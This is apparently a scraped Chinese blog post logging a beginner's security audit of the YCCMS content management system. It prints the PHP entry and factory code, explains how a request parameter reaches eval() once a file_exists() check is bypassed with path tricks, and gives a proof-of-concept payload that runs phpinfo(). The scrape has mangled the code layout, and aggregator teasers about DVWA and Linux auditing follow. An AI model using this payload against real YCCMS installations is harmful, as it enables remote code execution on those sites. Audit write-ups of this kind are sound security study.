yccms命令執行菜鳥審計學習記錄

2021-10-23 19:23:56 字數 2412 閱讀 3619

<?php 

//開啟session

session_start()

;//超時時間

@set_time_limit(0

);//設定編碼

header

('content-type:text/html;charset=utf-8');

//錯誤級別,報告警告之外的所有錯誤

error_reporting

(e_all

^e_notice);

//設定時區

date_default_timezone_set

('prc');

//**絕對根路徑

define

('root_path'

,str_replace

('\\'

,'/'

,substr

(dirname

(__file__),

0,-7

)));

//引入配置檔案

require

root_path

.'/config/config.inc.php'

;//引入smarty

require

root_path

.'/public/smarty/smarty.class.php'

;//自動載入類

function

__autoload

($_classname

)elseif

(substr

($_classname,-

5)=='model'

)else

}//單入口

factory:

:setaction()

->

run();

?>

**前面主要進行初始化一些常量和配置,其中autoload函式作用是當你進行初始化類在本頁面不存在時候就會自動呼叫autoload()函式,同時會把名字當做引數傳輸過去。最後執行到入口。呼叫factory類的setaction()方法,並執行run()方法。

進入到factory類中

class

factory}if

(!file_exists

(root_path

.'/controller/'

.ucfirst

($_a).

'action.class.php'))

$_a=

'login'

;eval

('self::$_obj = new '

.ucfirst

($_a).

'action();');

return self:

:$_obj;}

static

public

function

setmodel()

static

public

function

geta()

return

'login';}

}

可以看到先是呼叫了geta()方法獲取傳遞的引數,然後通過in_array()判斷變數值是否在陣列中。如果在陣列中則判斷是否有session標記,否則跳轉到登陸頁面。

接著判斷檔案是否存在。然後通過eval()來例項化。亮點來了,看到eval()函式,就想到命令執行漏洞。那如果想要利用eval()函式那就要繞過file_exists()函式,這樣才能讓$_a可控。

而file_exists()函式中可以有一些特殊的字元例如:; . /等,而當file_exists()函式遇到…/時就會返回到上一級。而file_exists()函式有個小bug當遇到;/…/時會返回上一級且不會再判斷其後的路徑或檔案。

payload:

factory()

;phpinfo()

;//../

其中factory();是為了閉合前面new字元,不然程式會報錯,後面緊接著執行phpinfo();函式。

eval()函式在執行時其中有多個函式,則第乙個必須執行正確,第乙個以後也必須是函式,但是正確與否都可以執行。

eval

('phpinfo();phpinfo();fdsfsdfds'

.'asdasdsa();');

//成功執行

eval

('asdasdsa();phpinfo();fdsfsdfds'

.'asdasdsa();');

//執行失敗

實驗總結

本次實驗主要掌握**執行挖掘和利用方法。

DVWA 命令執行審計

使用post方式接受表單,isset 判斷是否傳入,將傳入的 ip賦值給 target 使用php name獲取主機資訊,用 stristr 判斷是否是 win系統 通過if進行判斷是否為空後,使用shell exec 執行並將所有輸出流作為字串返回 此執行過程無任何過濾。將ip的值賦給變數targ...

Linux使用audit審計使用者執行命令

注 本文基於centos 6.5編寫 audit作為審計元件,除了可以監控檔案的修改,還可以監控系統呼叫的執行。受snoopy啟發,通過audit監控execve 系統呼叫,同樣可以實現使用者操作的記錄。audit作為基本元件會隨著系統一起安裝,就不再介紹安裝方式了,反正也可以直接yum安裝。新增如...

開始 執行 輸入的命令集錦 菜鳥必讀)

nslookup ip位址偵測器 explorer 開啟資源管理器 logoff 登出命令 tsshutdn 60秒倒計時關機命令 lusrmgr.msc 本機使用者和組 services.msc 本地服務設定 oobe msoobe a 檢查xp是否啟用 notepad 開啟記事本 cleanmg...